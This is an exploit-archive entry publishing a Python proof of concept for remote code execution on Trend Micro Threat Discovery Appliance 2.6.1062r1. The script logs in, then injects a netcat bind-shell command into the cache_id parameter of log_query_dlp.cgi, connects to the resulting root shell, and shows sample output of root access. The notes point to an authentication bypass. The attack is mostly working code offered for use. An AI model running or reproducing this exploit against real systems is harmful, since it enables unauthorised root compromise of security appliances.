Trend Micro TDA 2.6.1062r1 log_query_dlp.cgi Remote Code Execution

2017.04.20
Credit: Steven Seeley
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/usr/local/bin/python """ Trend Micro Threat Discovery Appliance <= 2.6.1062r1 log_query_dlp.cgi Remote Code Execution Vulnerability Found by: Steven Seeley of Source Incite & Roberto Suggi Liverani - @malerisch - http://blog.malerisch.net/ File: TDA_InstallationCD.2.6.1062r1.en_US.iso sha1: 8da4604c92a944ba8f7744641bce932df008f9f9 Download: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkval=1787&lang_loc=1 Summary: ======== There exists a post authenticated command injection vulnerability that can be used to execute arbitrary code as root. Notes: ====== - Since this is a busybox, getting a connectback seemed hard. So, for this particular PoC, all I did was exec a bind shell using netcat. - Auth is VERY weak, no privilege seperation, no username required, no password policy, no protection from bruteforce attempts... - Auth is now bypassed, please see CVE-2016-7552 Example: ======== saturn:trend_micro_threat_discovery_log_query_dlp_rce mr_me$ ./poc.py (+) usage: ./poc.py <target> <pass> (+) eg: ./poc.py 172.16.175.123 admin123 saturn:trend_micro_threat_discovery_log_query_dlp_rce mr_me$ ./poc.py 172.16.175.123 admin (+) logged in... (+) starting backdoor, this will take a few secs... (+) calling backdoor! id uid=0(root) gid=0(root) uname -a Linux localhost 2.6.24.4 #1 SMP Wed Oct 13 14:38:44 CST 2010 i686 unknown exit """ import re import os import sys import time import requests import threading requests.packages.urllib3.disable_warnings() if len(sys.argv) != 3: print "(+) usage: %s <target> <pass>" % sys.argv[0] print "(+) eg: %s 172.16.175.123 admin123" % sys.argv[0] sys.exit(-1) t = sys.argv[1] p = sys.argv[2] bu = "https://%s/" % t l_url = "%scgi-bin/logon.cgi" % bu e_url = "%scgi-bin/log_query_dlp.cgi" % bu s = requests.Session() def exec_bd(s, e_url): # now we setup our backdoor # no reverse, since it seems to fail !? netcat = "test|`nc -e /bin/sh -lp 1337`" e_url += "?act=search_advanced&cache_id=%s" % netcat s.get(e_url, verify=False) # first we login... r = s.post(l_url, data={ "passwd":p, "isCookieEnable":1 }, verify=False) if "frame.cgi" in r.text: print "(+) logged in..." thread = threading.Thread(target=exec_bd, args=(s, e_url,)) thread.start() print "(+) starting backdoor, this will take a few secs..." time.sleep(4) print "(+) calling backdoor!" os.system("nc %s 1337" % t) else: print "(-) login failed" sys.exit(-1)


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top